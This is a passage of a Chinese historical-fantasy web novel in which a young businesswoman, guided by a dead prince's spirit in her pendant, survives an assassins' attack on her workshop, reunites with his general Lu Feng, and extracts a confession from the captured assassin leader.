都城中,关于朱雀大街那座神秘阁楼的传闻,也愈演愈烈。
有人说,那是一位来自江南的神秘富商,要在此地建一座金屋,以藏娇;有人说,那是宫里的某位贵人,在为自己修建行宫;更有人说,那是未来的太子妃沈琉璃,在为自己的嫁妆,添置产业。
众说纷纭,却无一能窥得真相。
而这种神秘感,也恰恰是沈琉璃想要的,她深谙“饥饿营销”之道,她要让所有人的好奇心都发酵到顶点,然后在最恰当的时机引爆全场。
在“揽月楼”正式开放之前,沈琉璃决定先用一场私密的品鉴会,点燃第一把火。
她没有大张旗鼓地宣传,而是通过“玉容阁”向她最尊贵的会员,发出了一份手写的邀请函。
邀请她们,前来初窥即将开幕的“揽月楼”,并作为第一批客人,品鉴二楼高级服装定制工坊的开山之作。
品鉴会当天,当安远侯老夫人、兵部尚书夫人踏入“揽月楼”二楼时,便被眼前的景象彻底震撼了。
整个二楼,没有金碧辉煌的俗气,只有低调奢华的雅致。名贵的香料在角落里静静燃烧,悠扬的古琴声如流水般淌过,而最中央的,就是那一件件用“云锦”缝制出的绝美华服。
这一天,没有竞价,没有叫卖。
沈琉璃只是让这些夫人们,静静地欣赏,轻轻地触摸。
然后,告诉她们,“霓裳坊”只接受私人定制,且每一款设计都独一无二,一旦售出便绝不再做第二件。
这种极致的稀缺感,瞬间点燃了所有女人的占有欲。
品鉴会结束,十几件华服被当场预定一空,而“霓裳坊”这个名字也如同长了翅膀一般,在一夜之间,传遍了整个都城的顶级权贵圈,成了比“玉容阁”更加令人向往的存在。
沈琉璃的影响力,也早已不再局限于后宅妇人的梳妆台,而是通过这些女人的口,通过她们的枕边风,开始悄无声息地渗透到了乾国朝堂的人际关系中。
她,正在用一种所有人都看不懂的方式,编织着一张属于自己的网。
而这张网的日益壮大,也终于引起了某些人的不安。
大皇子府,书房内。
“殿下!不能再让那个沈琉璃,如此无法无天地下去了!”
一位幕僚,正一脸焦急地向大皇子李裕汇报着。
“如今,都城里所有的高端消费,几乎都被她一个人垄断了!她不仅赚走了所有女人的钱,更是借着那即将开业的‘揽月楼’,将那些夫人小姐们,都拧成了一股绳!长此以往,她们的夫君,那些朝中的大人们,恐怕都能被她影响!”
李裕听着汇报,脸色阴沉得几乎能滴出水来。
他看着窗外,那座位于朱雀大街上的“揽月楼”,眼中闪过了毫不掩饰的杀意。
他知道,自己不能再等了。
……
与此同时,晚晴居内,沈琉璃正兴致勃勃地审阅着“揽月楼”开业的准备清单。
“小姐,都按您的吩咐备好了!”春桃汇报着,“咱们的‘胶原美人汤’,用的都是最顶级的花胶和老参,那些食医尝过,都说是神仙汤呢!给安远侯老夫人定制的寿宴礼服也送了过去,老夫人喜欢得都合不拢嘴,当场就又下了三套常服的订单!”
“很好。”沈琉璃满意地点了点头。
她的商业帝国,正在以一种超乎想象的速度拔地而起。
然而,君北玄冰冷的声音,却在她脑海中响了起来。
“太安静了。”
“嗯?”沈琉璃一愣,“什么太安静了?春桃不是正在叽叽喳喳地说个不停吗?”
“我说的是,你的敌人。”君北玄的声音,充满了警惕,“大皇子李裕,还有苏振的残余势力。他们在‘冬猎’事件中吃了那么大的亏,至今已有月余。这一个月,他们竟没有做出任何反击,这不合常理。”
“许是……被打怕了?”沈琉璃猜测道。
“不。”君北玄断然否定,“你这是妇人的想法,一个真正的掌权者,在遭遇挫败后,绝不会善罢甘休。长久的沉默不能代表和平,只代表他们正在酝酿一场更致命的风暴。”
他的语气,带上了凝重:“沈琉璃,本王在战场上,学到的第一件事就是,当你的敌人,突然开始守‘规矩’的时候,那说明他正在准备掀桌子。而当他连桌子都懒得掀,开始对你‘不闻不问’的时候,那说明他已经准备在你的背后,捅上最致命的一刀了。”
这番话,让沈琉璃瞬间如坠冰窟!
她那有些飘然的心,被这盆冰水彻底浇醒。
是啊,大皇子李裕,是那种会吃哑巴亏的人吗?
绝不是!
“你的意思是……”她用颤抖的声音问道。
“你的‘揽月楼’,是你的荣耀,也是你的靶子,但它太显眼了。而你本人,如今更是声名在外,有皇太后和未来太子妃的身份护体,他们不敢轻易动你。”君北玄的分析,冷静而又残酷,“所以,如果我是他,我会选择攻击你最不起眼,却又最重要的地方。”
“……城郊的工坊!”沈琉璃脱口而出!
“没错。”君北玄沉声道,“那里位置偏僻,守备薄弱,却掌握着你所有生意的‘命脉’。一旦那里被毁,你这座看似华丽的大厦,便会瞬间崩塌。”
沈琉璃的后背,瞬间渗出了一层冷汗。
她这才意识到,自己这段时间光顾着“开疆拓土”,却完全忽略了“后方防卫”!
“那……那我们该怎么办?!”这一次,她感到了真正的惊慌。
“现在弥补,还来得及。”君北玄说道,“立刻派人,加强防卫。”
沈琉璃立刻站起身,对着门外高声喊道:“来人!去把忠叔给我叫来!”
片刻之后,忠叔匆匆赶来。
“小姐,有何吩咐?”
“忠叔,”沈琉璃的眼神变得锐利起来,“您立刻去一趟‘威远镖局’。我要您雇佣他们手中,最精锐的十二名镖师!”
“十二名?!”忠叔和春桃,都吃了一惊。
“对!”沈琉璃一锤定音,“让他们,立刻进驻城郊工坊!将那里的安防,提升到最高等级!”
第25章 狼影狐踪
忠叔的办事效率极高。
不过短短两日,十二名从“威远镖局”重金聘请来的精锐镖师,已全部悄无声息地进驻了城郊的工坊,将那里的安防提升到了一个新的等级。
之后的几天,乾国都城似乎又恢复了往日的风平浪静。
大皇子一派,在经历接连失败后,也彻底销声匿迹,再无半点动作,仿佛真的被打怕了一般。
“揽月楼”的改造工程,在沈琉璃资金的支持下,有条不紊地进行着,一切都显得欣欣向荣。
然而,只有沈琉璃自己知道,这风平浪静的湖面下,正涌动着何等汹涌的暗流。
“已经过去七天了。”这一晚,她在灯下看着那封早已寄往北境的信件底稿,在心里对君北玄说道,“那封信还是没有半点回音,你说会不会是出了什么意外?”
“军情传递,辗转千里,中间要避过无数眼线。十日之内能有回音,便已是神速。”君北玄的语气,倒是很平静,“你现在要做的,是耐心等待。”
“我只是……”沈琉璃叹了口气,“有些不安。”
“不安,是弱者的情绪。”君北玄冷哼一声,“一个合格的统帅,在等待战机时,心中只应有算计,而非恐惧。”
“我不是统帅,”沈琉璃在心里,没好气地回了一句,“我只是个弱女子。”
就在此时,忠叔从外面行色匆匆地走了进来。
“小姐,”他压低声音,脸上带着古怪的神情,“我们‘揽月楼’的工地上,出了点怪事。”
“何事?”
“最近三日,工地上总会出现一个奇怪的‘杂工’。”忠叔回忆道,“此人身材魁梧,沉默寡言,每日只在固定的时辰出现,从不与人交谈,只埋头干最重的活,然后便悄然离去。工头看他力气大,干活利落,便也没在意。可我们的人,却觉得他看人的眼神,不像个杂工,倒像一头在审视自己领地的狼。”
沈琉璃的心,猛地一跳!
“狼?”君北玄的声音,控制不住的激动起来,“是他!一定是陆风!这个家伙,竟用这种笨办法来暗中观察你!”
“那我们该怎么办?要去与他相认吗?”沈琉璃也有些激动。
“不!”君北玄断然否定,“他还在考验你,他想用自己的眼睛,来判断你到底值不值得他和我,托付性命。你若现在主动去找他,反而落了下乘。”
“那……?”
“陪他演。”君北玄的语气里,带上了玩味,“他不是喜欢当‘杂工’吗?那你就给他一个‘建功立业’的机会。本王倒要看看,我这员最得力的大将,在你们女人的‘战场’上,能有几分本事。”
第二天,沈琉璃便以“巡视工程进度”为由,亲自来到了“揽月楼”的工地。
她一眼,便在嘈杂的人群中看到了那个与众不同的“杂工”。
他果然如忠叔所言,身材魁梧如山岩,虽然穿着一身粗布短打,但那股从骨子里透出来的铁血煞气,却是任何伪装都无法掩盖的。
他,正是陆风。
沈琉璃没有看他,只是在工地上看似随意地巡视着。
就在此时,揽月楼的大门外,忽然传来了一阵嚣张的叫骂声。只见十几个满脸横肉的壮汉,手里拎着棍棒,大摇大摆地闯了进来,为首的是一个脸上带着刀疤的独眼龙。
“停工!都他娘的给老子停工!”刀疤脸用棍子敲着旁边的木料,嚣张地喊道,“在这朱雀大街上动土,问过我们‘猛虎堂’的兄弟了吗?!”
显然,这是京城里最臭名昭著的地痞,前来收取“保护费”了。
正在现场监工的忠叔,脸色一变,立刻上前拱手道:“各位好汉,有话好说……”
“谁跟你他娘的好好说!”刀疤脸一把推开忠叔,狞笑道,“让你们管事的出来!今天,不交出一千两银子,你们这楼就别想再动一块砖!”
而那个一直沉默如山岩的“杂工”陆风,在看到这群地痞出现时,那双锐利的眼睛,不易察觉地微微一眯。
忠叔正要再上前理论,沈琉璃却拉住了他。
她亲自上前一步,护在了忠叔面前,那双清亮的眼眸,毫无畏惧地迎上了为首地痞那凶狠的目光。
“这里是尚书府的产业,”她的声音不大,却异常清晰,“各位若有事,可去府中递帖。在此处寻衅滋事,后果自负。”
那地痞头子似乎没料到她如此大胆,愣了一下,随即恼羞成怒:“臭丫头,敢教训起老子来了!”
他怒喝一声,抬手便是一个粗暴的推搡!
沈琉璃惊呼一声,脚下不稳,向后踉跄几步,眼看就要摔倒在地。而她倒下的方向,不偏不倚,正好是那个一直冷眼旁观的“杂工”陆风的身边!
陆风看着那个朝着自己“摔”过来的柔弱少女,脸上闪过了无奈的表情。
他当然看得出来,她是装的。
这演技,浮夸,做作,破绽百出。
可偏偏,他却不能不“接”住她。
他几乎是下意识地伸出手,稳稳地扶住了沈琉璃的胳膊。
“多……多谢壮士。”沈琉璃“惊魂未定”地抓着他的手臂,小脸煞白,“他们是什么人?好可怕……”
她一边说,一边飞快地在他的手心,用指尖划下了几个字。
那是“狼卫”内部,最高等级的集结暗号!
陆风的身形,猛地一震!
他那双锐利的眼睛,正视着眼前这个少女。
而沈琉璃也抬起头,迎上了他的目光。
她的眼中,没有半分的“惊恐”,只剩下了能洞悉一切的目光。
四目相对,一切尽在不言中。
陆风,终于可以百分之百地确定,眼前这个女子就是主君选中的人。
而沈琉璃也知道,自己通过了这位将军的“考验”。
“放肆!”
就在此时,那几个地痞已经嚣张地走到了他们面前。为首的地痞,伸出脏手,竟想去拉沈琉璃的衣袖。
“哪里来的小娘子,细皮嫩肉的,跟爷回去喝杯茶吧!”
他话音未落。
只听“咔嚓”一声!
一声清脆的骨头断裂的声音,响彻了整个工地!
陆风,出手了。
没有人看清他的动作。
众人只看到,他只是简简单单地,将沈琉璃拉到了自己身后。
而那个出言不逊的地痞,他的整条胳膊,已经以一种极其诡异的角度,向后扭曲,森白的骨头,甚至刺穿了皮肤,暴露在空气之中!
“啊——!”
一声杀猪般的惨叫,才迟迟地响起。
全场,一片死寂。
所有人都被这血腥的一幕,给震慑住了。
陆风没有再看这个疼得满地打滚的地痞,他只是用他那双不带任何感情的眼睛,缓缓地扫过在场的所有流氓。
“滚。”
他就说了一个字。
可这个字却仿佛带着千钧之力,压得那些原本还嚣张无比的地痞流氓,连连后退,竟无一人敢与他对视!
最终,这群人连滚带爬地抬着自己那半死不活的同伴,落荒而逃!
一场危机,就这么被陆风用最野蛮的方式给解决了。
“小姐威武!这位壮士,更是威武!”春桃看着那群落荒而逃的官差,激动得满脸通红。
“……匹夫之勇。”君北玄在她脑中,冷冷地评价了一句,但语气里却带着几分得意。
当晚,揽月楼顶楼,雅间。
房门被关上的那一刻,隔绝了外界所有的声音。
陆风,这位铁血的将军,此刻正死死地盯着沈琉璃胸前的那枚【孤狼坠】,他的眼神中充满了震惊。
沈琉璃没有说话,只是静静地等待着。
终于,陆风接受了这个匪夷所思的现实。他“噗通”一声,单膝跪地,脸上露出了无比复杂的神情。
他对着沈琉璃,用颤抖的声音,一字一顿地说道:“王爷,属下来迟了。”
“不晚。”
君北玄的声音,通过沈琉璃的口,带着久别重逢的感慨响了起来。
就在这时……
“砰!砰!砰!”
房间的大门,被疯狂地敲响!
紧接着,门外传来了护卫的声音:“大小姐!不好了!工坊那边出事了!”
第26章 工坊围城战
“——遇袭了!”
那护卫用尽最后的力气喊出的三个字,如同一盆冰水,将房间中刚刚开始的谈话打断。
“什么?!”春桃第一个失声惊叫,她一把抓住那护卫的胳膊,急切地问道,“你说清楚!工坊怎么了?忠叔呢?!”
那护卫满脸是血,嘴唇哆哆嗦嗦,眼中充满了恐惧:“是杀手!脸上戴着鬼脸面具的杀手!他们见人就杀!我们的人快顶不住了!忠叔他为了能让我出来,还在里面死死地顶着!”
“是你们乾国的鬼脸十三鹰!”君北玄的声音,在她脑海中变得冰冷如铁,充满了滔天的杀意,“又是他们!好一个大皇子,好一个李裕!他这是要赶尽杀绝!”
沈琉璃的脸色,在一瞬间变得惨白。
她所有的心血都系于那座小小的工坊!
那里,不仅有“玉容膏”的配方,更有几十个对她忠心耿耿、手无寸铁的女工!
一旦那里被毁……
沈琉璃没有再理会春桃,而是冲着门外,高声喊道,“传我的令!召集‘揽月楼’所有护卫!备马!我们现在就去工坊!”
这是她最本能的反应,集结兵力,驰援前线!
然而,她话音刚落,一个充满了讥讽的声音,便在她脑海中毫不留情地响了起来。
“停下,你这个愚蠢的女人。”
是君北玄。
“你要带你那十几名,连血都没见过的‘家丁’,去冲击一个由职业杀手组成的包围圈?”他的声音,不带任何感情,“你那不叫‘救援’,那叫‘添油’。你是在派他们去送死,也是在让你自己,去送死。”
“那我该怎么办?!”沈琉璃在心里,焦急地嘶吼,“难道就眼睁睁地看着他们死吗?!”
“你不是一个人。”君北玄的声音,缓缓响起,“你忘了,你的面前还站着一头‘狼’吗?”
沈琉璃猛地一颤,她抬起头,看向了那个从始至终都一言不发的陆风。
她深吸一口气,强行压下所有的慌乱,此刻,她必须将“指挥权”交给那个真正懂得战争的人。
她看着陆风,整个人的气场,在这一瞬间悄然改变。
她原本清澈的眼眸,变得深邃、冰冷;她的声音,也失去的原本的清脆,变得低沉而又充满了力量。
“陆风。”
听到这个声音,陆风的身形,猛地一震!他抬起头,不敢置信地看着眼前的少女。
那张脸是陌生的,可那眼神,那语气,那股发号施令时独有的气势……
是王爷!是他的王爷!
“城郊工坊遇袭。”沈琉璃用最简洁的话语,下达着指令,“我命你率麾下‘狼卫’执行‘清剿’任务。”
“第一,救人!我要忠叔,以及工坊里的每一个人,都安然无恙!”
“第二,”她的眼中,寒光闪过,“我要活口!在保证我方人员安全的前提下,给我留下至少一个能说话的人!我要知道,是谁给了他们这么大的胆子!”
这一刻,陆风只觉得,自己仿佛又回到了那个风雪交加的北境帅帐之中。眼前站着的,不再是什么沈家大小姐,而是他那个运筹帷幄、决胜千里的不败战神!
主君,他真的“活”过来了!
陆风的所有困惑,在这一刻尽数烟消云散!取而代之的,是无穷的战意!
他猛地一锤胸口,用尽全身的力气,吼出了那句,他已经忍了太久太久的话:
“是!王爷!”
陆风不再有丝毫犹豫,他重重一抱拳,随即身形一晃,便如同鬼魅一般,从三楼的窗户直接跃了出去,便消失在了沉沉的夜色之中。
密室内的气氛,依旧紧绷得如同弓弦。
“小姐……”春桃看着自家小姐那张毫无血色的脸,颤抖着问道,“这个人是谁啊?还有您刚才给我的感觉,好陌生,好吓人啊……”
沈琉璃看着她,眼中冰冷的威严缓缓褪去。
“春桃,”她轻声说道,“他是朋友!是能保护我们的朋友,这就够了!”
她没有过多解释,而是立刻转身,对着门外下达了第二道指令。
“备马!我们也去工坊!”
“小姐,不可啊!”春桃大惊失色,连忙上前拉住她,“外面太危险了!您现在过去,岂不是……”
“陆风将军,是去冲锋陷阵的‘利剑’,而我是他们的主公。”沈琉璃摇了摇头,眼中是一种春桃从未见过的决然,“我的‘士兵’正在前线流血,我的‘家人’正身陷险境。我绝不能,在自己的家人,最需要的时候缺席。”
君北玄在她脑中,听着这番话,陷入了长久的沉默。
他看着这个在危机中爆发出惊人能量的少女。他发现,她所理解的“为帅之道”,与他所信奉的“兵法”,虽截然不同,却同样拥有着能凝聚人心的力量。
……
城郊工坊,已然化作了一片人间地狱。
院墙内火光冲天,喊杀声、惨叫声、兵刃碰撞声,响成一片。
“顶住!都给我顶住!弓箭手!放箭!”
忠叔挥舞着手中的朴刀,声嘶力竭地吼着。他的身上早已被鲜血浸透,分不清是自己的,还是敌人的。
他身后,那十二名由“威远镖局”请来的精锐镖师和工坊原有的护卫,此刻已经倒下了一大半。剩下的人也都个个带伤,他们背靠着主屋的大门,组成了一个简陋的防御阵型,进行着最后的抵抗。
而在他们面前,则是二十几名身着黑衣,脸上戴着青铜鬼脸面具的杀手!
他们,正是“鬼脸十三鹰”!
他们的刀很快,他们的配合很默契。他们的每一次出手,都直指要害,没有任何多余的动作。工坊的护卫们,虽然都是镖局的精锐,但在这些专职杀人的“鬼脸”面前,显得是那么捉襟见肘。
“老家伙,投降吧!”为首的鬼老大,一脚踹飞一名护卫,将手中的钢刀指向忠叔,狞笑道,“我家主子说了,只要你们交出‘玉容膏’的方子和你们这里的管事。我可以,饶你们一条狗命!”
“我呸!”忠叔朝着地上,吐了一口带血的唾沫,“你们这群猪狗不如的畜生!想要方子?就从我这把老骨头上踩过去!”
“很好。”鬼老大点了点头,“我成全你的忠义!”
他说着,便举起了手中的钢刀,带着一股腥风,朝着忠叔狠狠地劈了下去!
就在这千钧一发之际!
“咻——!”
一声尖锐的、几乎撕裂了空气的破风声,从屋外闪电般地传来!
一支通体漆黑的狼牙箭,竟以后发先至之势,精准无比地射中了鬼老大持刀的手腕!
“啊——!”
鬼老大发出一声惨叫,手中的钢刀“哐当”一声掉落在地!
所有人,都循声望去。
只见在那片火光的映照下,院墙上不知何时,竟已悄无声息地站着十几道黑色的身影。
他们个个身着夜行衣,脸上带着狰狞的恶狼面具,身上散发着铁血的煞气!
他们,就如同从地狱里走出来的幽灵军团!
为首的,正是陆风。
“奉主公之命。”他用一种平淡的语气,缓缓开口,“前来清扫垃圾。”
话音未落,他身后的十几名“狼卫”,便从墙头上一跃而下!
一场“屠杀”,开始了。
如果说,“鬼脸十三鹰”是凶残的饿狼。
那么,“狼卫”就是训练有素的虎群!
他们的配合,精妙到了极致;他们的刀,快到了极致;他们的每一个动作,都带着杀戮的美感。
之前还不可一世的“鬼脸十三鹰”,在他们面前竟连一丝一毫的反抗之力都没有。
一个照面,便有三名鬼脸被瞬间封喉,悄无声息地倒下。
鬼老大见状,肝胆俱裂,他知道自己这次是踢到铁板了!
“撤!快撤!”他嘶声力竭地吼道,自己则第一个,转身就想逃跑。
“想走?”
陆风的身影,不知何时已经出现在了他的身后。
鬼老大只觉得后颈一凉,随即一股不容抗拒的力量传来,他整个人便如同断了线的风筝,被狠狠地扔回了战场之中!
不过短短十几个呼吸,所有的惨叫声已尽数停止。
整个院子,除了那十几道黑色的身影,再无一个站着的活口。
忠叔和剩下的工人们,早已看得目瞪口呆,浑身冰冷。
陆风缓缓地收起了手中的长刀,走到那个如同死狗一般瘫在地上的鬼老大面前,确认他还有一口气后便不再理会。
他一步一步走过满地的尸体,来到了工坊的大门口,静静地等待着。
片刻之后,一辆马车在尚书府护卫的簇拥下疾驰而来。
车帘掀开,走下来的正是脸色煞白的沈琉璃。
工坊庭院内,血腥味与草木烧焦的气味混合在一起,在冰冷的夜风中弥漫出一种令人作呕的味道。
春桃扶着一旁的柱子,看着满地的尸骸,早已吓得双腿发软,胃里翻江倒海,几乎要将晚饭都吐了出来。忠叔也同样面色惨白,他指挥着那些幸存的护卫和工人们,清理着这片狼藉的“战场”。
沈琉璃强忍着心中的不适,嘴唇紧紧地抿着。
这是她第一次,如此直观地面对死亡。那股浓得化不开的血腥气,仿佛一双无形的手扼住了她的喉咙,让她感到阵阵窒息。
她终于明白,君北玄口中的“战争”,究竟是什么样子。那不是朝堂上的唇枪舌剑,不是后宅里的阴谋算计,而是实实在在的生命的消逝。
陆风,这位不速之客,在将那个半死不活的鬼老大,如同扔垃圾一般,扔到沈琉璃面前后,便如同一尊雕塑,沉默地站在了一旁。
他的目光,没有看任何人,只是死死地落在了沈琉璃胸前的【孤狼坠】上。他的眼神极其复杂,有激动,有悲痛,他想知道真相!
“此地,不是说话的地方。”
沈琉璃深吸一口气,强行压下所有的情绪。
她对忠叔吩咐道:“忠叔,将所有受伤的弟兄都安置好,请城里最好的大夫来!所有抚恤都按最高规格的三倍发放!”
“是,小姐。”忠叔重重地点了点头,眼中满是感激。
“春桃,”她又看向早已吓傻了的丫鬟,“你带人守住院子,从现在起,这里发生的一切,一个字都不许传出去!”
“是……”春桃颤抖着应道。
最后,她的目光落在了陆风身上。
“陆将军,”她用一种不容置疑的语气说道,“你,随我来。”
第27章 跨越生死的对话
工坊最深处,那间被当作仓库的地下酒窖内,一盏昏黄的油灯映照着两道沉默的身影,这里是整个工坊,最安全的地方。
沈琉璃屏退了所有人,亲自关上了那扇厚重的大门。
“现在,可以说了。”她看着陆风,平静地说道。
陆风的目光,依旧是死死地盯着她胸前的坠子,他那张冷峻的脸上,露出了挣扎的神情。他张了张嘴,却不知该如何开口。
就在此时,沈琉璃的声音响了起来。
“陆风。”
这声音分明是女子的声音,可那股威严却让陆风浑身剧震,眼眶瞬间就红了!
“王……王爷?!”他“噗通”一声,再次单膝跪地,声音哽咽。
“起来。”沈琉璃的声音,依旧简洁而充满力量,“像个男人一样,站着说话。”
“是!”陆风猛地站起身,身形笔直如枪,但眼中的泪水却怎么也抑制不住。
接下来的一个时辰,成了一场跨越了生死的“情报交换”。
君北玄从陆风的口中,得知了自己“死”后,北境那惊心动魄的一切。
陆风是如何伪造他的笔迹,发布“闭关”的命令;是如何顶住朝堂各方势力的压力,苦苦维持着“肃王仍在”的假象;又是如何在收到那封密信后,一路潜行至此。
“……太子君怀瑾,今年二十有四,他每月都会派心腹前来‘慰问’,名为慰问,实为试探,其言辞也愈发咄咄逼人。”
“而四皇子君非逸,更是个麻烦。他今年二十一,看似终日流连花丛。实则,他安插在北境的探子,比太子还要多,像苍蝇一样无孔不入。”
陆风的声音里,充满了疲惫。
君北玄听完,沉默了许久,才缓缓说道:“本王‘离开’时,年二十二。想不到,一晃,竟已是大半年的光景。”
而陆风也从“沈琉璃”的口中,听到了君北玄被毒杀的真相,听到了他魂寄古坠的离奇遭遇,更听到了他这位看似柔弱的女子,是如何在乾国都城,一步步地成长为如今这个,能与皇子掰手腕的商业女王。
当听完所有的一切后,陆风,这位铁血的将军沉默了许久。
最终,他对着沈琉璃,深深地一揖到底。
“沈小姐,之前是陆风有眼不识泰山。”他沉声说道,“从今往后,您不仅是王爷的盟友,更是我陆风,以及我身后三千狼卫,共同的主公!”
“陆将军言重了。”沈琉璃坦然地受了他这一礼。
她看着眼前这位,比自己年长了近十岁的将军,心中也不由得,生出了几分调侃的意思。
“说起来,陆将军今年,该有二十七了吧?”她忽然笑着问道。
陆风一愣,不知她为何有此一问,但还是如实答道:“回小姐,属下今年二十有七。”
“我今年,才刚满十六。”沈琉璃眨了眨眼,促狭地说道,“让一位比我年长这么多的将军,称我为主公,我这心里,还真是有些过意不去呢。”
陆风显然从未处理过这等“社交”难题,一时间竟有些手足无措,不知该如何回应。
“咳。”君北玄在她脑中,轻咳一声,打断了她的“恶作剧”,“好了,说正事。”
他的语气,重新变得冰冷。
“陆风,本王现在向你下达两个命令。”
“第一,从今天起,你和你带来的这队狼卫,便是她最锋利的剑,最坚固的盾。她的安全,高于一切!”
“第二,也是最重要的,”君北玄的声音,变得无比凝重,“去查遍天下所有的古籍、秘闻、传说。本王要你,找到能让魂魄,重归肉身的方法!”
陆风的身形,猛地一震!
复活王爷?!
这个念头,瞬间点燃了他心中的希望!
“属下遵命!”他重重地一锤胸口,用尽全身的力气,吼了出来,“便是上穷碧落下黄泉,也定为王爷寻得重生之路!”
联盟,在这一刻真正的建立起来。
沈琉璃看着眼前这位忠心耿耿的将军,心中也终于有了前所未有的安全感。
然而,她知道,真正的危机还未解除。
“陆将军,”她开口道,“那个被你活捉的刺客头目呢?”
“回主公,就在外面的柴房里,属下已封住了他的口,保证他一个字也说不出来,也死不了。”
“很好。”沈琉璃点了点头,眼中寒光闪过,“走,我们去看看。我倒要问问他,我这颗人头,大皇子到底付了多少钱。”
城郊工坊,后院。
一间平日里用来堆放杂物的柴房,此刻已被“狼卫”临时改造成了一间戒备森严的牢房。
柴房内,空气中弥漫着一股复杂的气味。一盏昏黄的油灯,在角落里摇曳着,将人的影子,拉得如同鬼魅。
“鬼脸十三鹰”的首领,鬼老大,像一条被人打断了脊梁的死狗一样,被铁链牢牢地捆在一根柱子上。他的四肢关节,已被陆风用巧劲卸掉,使不出半分力气,脸上那张青铜鬼面,也早已不知所踪,露出了一张平平无奇的中年男人的脸。
陆风,就如同一尊没有感情的雕塑,抱着他那柄从不离身的战刀,静静地站在阴影里。
他已经在这里,审了整整一个时辰。
“……姓名、年龄、籍贯,不详。入行十三年,杀过一百二十七人。其中,有六名,是朝廷的诰命官员。”陆风用一种毫无感情的语调,向站在门口的沈琉璃进行着汇报。
沈琉璃点了点头,缓步走了进来。春桃想跟进来,却被陆风一个冰冷的眼神,给硬生生地钉在了门外,不敢再动弹分毫。
“他还是不肯说出主使之人?”沈琉璃轻声问道。
“嘴很硬。”陆风的回答,简单直接。
他这一个时辰,用了七八种军中审讯的手法,从心理压迫到疲劳战术,甚至,他还当着鬼老大的面,将一块烧红的烙铁,缓缓地按入了一桶冷水之中。
可眼前这个亡命之徒,除了交代一些无关紧要的的履历之外,关于“雇主”的任何信息都守口如瓶。
“呵……”被捆在柱子上的鬼老大,听到他们的对话,从喉咙里发出了轻蔑的笑声,“别白费力气了,我们这一行,有我们这一行的规矩。你们就算把我千刀万剐,也别想从我嘴里知道一个字。”
“够了!陆风太慢了!”
君北玄的声音,在她脑海中疯狂咆哮:“沈琉璃,你告诉他!让他把那家伙的小指,一寸一寸地碾碎!本王就不信,有人的骨头能比‘狼卫’的刑具还硬!”
陆风似乎也察觉到了气氛的凝重,他看向沈琉璃,仿佛在等待着最终的指令。
沈琉璃的心猛地一颤,她知道,这是属于君北玄最血腥的审讯方式,但……
“不行!”她立刻在心中,断然否决,“酷刑得来的口供,在朝堂上随时可以被定义为‘屈打成招’。我们要的不是一个吓破了胆的疯子,而是一个能指证大皇子的‘证人’!”
“……”君北玄,再一次被她说得哑口无言。
“对付不同的人,就要用不同的方法。”沈琉璃在心里,继续说道,“您和陆将军都是军人,所以你们习惯用军人的方式,去对付另一个‘军人’,可他不是军人。”
“他是个亡命之徒,一个亡命之徒,他所效忠的从来都不是什么国家大义,也不是什么主公恩情。他效忠的,只有两样东西——金钱和他自己的命。”
“所以,我们要对付的,不是他的身体。而是他心中那份,对‘金钱’的贪婪和对‘活命’的渴望。”
说完,她不再理会脑海中那个陷入沉思的鬼王爷,而是迎着陆风那询问的目光,缓缓地摇了摇头。
她搬来一张小凳子,在鬼老大的面前,好整以暇地坐下。甚至还让春桃,为自己端来了一杯热茶和一盘点心。
“给你最后一次机会。”她一边慢条斯理地品着茶,轻声说道,“说出你知道的一切。我可以让你活下去。”
“呵……黄毛丫头,你以为我是被吓大的?”鬼老大嗤笑一声,眼中充满了鄙夷。
“我当然知道你不是。”沈琉璃点了点头,她放下茶杯,从袖中取出了一份卷宗,轻轻地放在了鬼老大的面前,并为他展开。
那上面,没有写任何罪状,只画着一幅极其精细的地图和几个栩栩如生的人像。
“……你家,住在城南柳叶巷三十六号。家中,有一妻二子,长子七岁,在‘启蒙学堂’读书;次子五岁,尚在襁褓。
“你的妻子,每日辰时都会去巷口的‘张记’豆腐铺买一块老豆腐。你的长子,每日申时都会在巷口的歪脖子树下和邻居家的小孩,玩一个时辰的弹珠……”
她顿了顿,用一种悲天悯人的的眼神看着他,轻声问道:
“你说,她们娘仨,该怎么活呢?”
第28章 鬼老大的供词
沈琉璃的声音很轻,很柔,像是在讲述一个再寻常不过的邻家故事。
可这些话,听在鬼老大的耳朵里,却比世上任何一种酷刑都更让他感到恐惧。
酷刑,他不怕。他入行十三年,断过骨头,挨过刀子,早已习惯了。
死亡,他更不怕。他这种亡命之徒,从第一天起,就做好了随时横死街头的准备。
可是……家人,是他唯一的软肋。是他这辈子,在刀口舔血的生涯中,唯一的暖色。
“你……你……”他看着沈琉璃,眼中露出了恐惧,“你到底,是什么人?!”
“我是什么人不重要。”沈琉璃微微一笑,“重要的是,我知道你的主子是个什么样的人。”
“你昨夜行动失败,全军覆没,还成了我的阶下囚。你觉得,他现在最想做的是什么?”
“他最想做的,不是救你。而是杀你灭口。不仅要杀你,还要将你全家都从这个世界上抹得干干净净,以绝后患。”
鬼老大崩溃了!他看着眼前这个少女,只觉得她比地狱里的恶鬼还要可怕!
“你……你到底想怎么样?!”他嘶吼道。
“很简单。”沈琉璃站起身,看着他,“我给你一个,为家人选择未来的机会。”
她将一份空白的供词,放在了他的面前。
“你是个杀手,也是个父亲,你为主子卖命无非是为了钱,为了让他们过上好日子。可你想过没有,你昨夜行动失败,早已成了‘弃子’。他现在想的不是如何救你,而是如何让你和你的家人永远闭嘴。”
她的话像一把刀子,狠狠地扎进了鬼老大的心里。
“我可以保你家人安然无恙,远走高飞。”沈琉璃的声音,充满了魔鬼般的诱惑,“我需要的,只是你在上面,写下那个让你走上这条不归路的名字。”
“至于你……”她的眼神,瞬间变得冰冷,“你杀了我的护卫,伤了我的管家,这笔账自然要用你的命来偿。是到官府的刑场上,死得像条汉子;还是被你的主子,像狗一样,连同家人一起秘密地处理掉……”
“你自己,选一个体面点的死法吧。”
半个时辰后,沈琉璃拿着一张按了血手印的供词,心满意足地走出了柴房。
“妇人之仁。”君北玄在她脑中,依旧嘴硬地批判道,“对付这种人就该严刑拷打,何必还要许他金钱?”
“王爷,这您就不懂了。”沈琉璃在心里,得意地笑道,“严刑拷打出来的是‘口供’,那东西随时可以翻案。而我,用钱和活路买来的,是他的‘证词’。他会心甘情愿地,在最关键的时候站出来,替我咬死大皇子!”
“……”君北玄再次,无言以对。
然而,当沈琉璃仔细看完那份供词后,她的眉头却紧紧地锁了起来。
因为,在那份名单的最后,为了将功补过,也为了换取更大的活命筹码,鬼老大还主动吐露了一个,连大皇子都未必知晓的秘密。
